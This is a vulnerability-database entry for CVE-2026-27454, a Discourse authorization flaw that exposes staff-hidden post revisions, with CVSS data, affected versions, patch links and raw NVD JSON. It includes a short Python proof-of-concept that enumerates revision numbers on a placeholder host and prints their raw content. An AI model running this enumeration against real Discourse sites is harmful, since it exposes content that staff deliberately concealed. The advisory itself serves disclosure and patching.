Security Vulnerability Report
中文
CVE-2026-27454 CVSS 5.3 MEDIUM

CVE-2026-27454

Published: 2026-03-19 21:17:09
Last Modified: 2026-03-25 01:01:56

Description

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, requesting /posts/:id.json?version=X bypassed authorization checks on post revisions. The display_post method called post.revert_to directly without verifying whether the revision was hidden or if the user had permission to view edit history. This meant hidden revisions (intentionally concealed by staff) could be read by any user by simply enumerating version numbers. Starting in versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, Discourse looks up the PostRevision and call guardian.ensure_can_see! before reverting, consistent with how the /posts/:id/revisions/:revision endpoint already authorizes access. No known workarounds are available.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL vulnerable to IDOR target_url = "http://target-domain.com/posts/{POST_ID}.json?version={VERSION}" # Target post ID to enumerate post_id = 12345 # Iterate through potential revision versions # Exploit does not require authentication based on PR:N print(f"Starting enumeration for post ID: {post_id}") for version in range(1, 50): url = target_url.format(POST_ID=post_id, VERSION=version) try: response = requests.get(url) if response.status_code == 200: data = response.json() # Extract raw content from the response raw_content = data.get('post', {}).get('raw', '') print(f"[+] Version {version} found: {raw_content[:50]}...") except Exception as e: print(f"Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27454", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:08.920", "lastModified": "2026-03-25T01:01:56.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, requesting /posts/:id.json?version=X bypassed authorization checks on post revisions. The display_post method called post.revert_to directly without verifying whether the revision was hidden or if the user had permission to view edit history. This meant hidden revisions (intentionally concealed by staff) could be read by any user by simply enumerating version numbers. Starting in versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, Discourse looks up the PostRevision and call guardian.ensure_can_see! before reverting, consistent with how the /posts/:id/revisions/:revision endpoint already authorizes access. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, solicitar /posts/:id.json?version=X eludía las comprobaciones de autorización en las revisiones de publicaciones. El método display_post llamaba a post.revert_to directamente sin verificar si la revisión estaba oculta o si el usuario tenía permiso para ver el historial de edición. Esto significaba que las revisiones ocultas (ocultadas intencionadamente por el personal) podían ser leídas por cualquier usuario simplemente enumerando los números de versión. A partir de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, Discourse busca la PostRevision y llama a guardian.ensure_can_see! antes de revertir, de forma consistente con cómo el endpoint /posts/:id/revisions/:revision ya autoriza el acceso. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/8510fde30eb0d7f2dee822a95f6cf43b9ac943d0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/c0eeb5892f5d61ad62b057f4d468333a6e9f28c3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/c474fbd79d2bd231baafb4332970297d781f92ca", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-fq69-f929-wp96", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}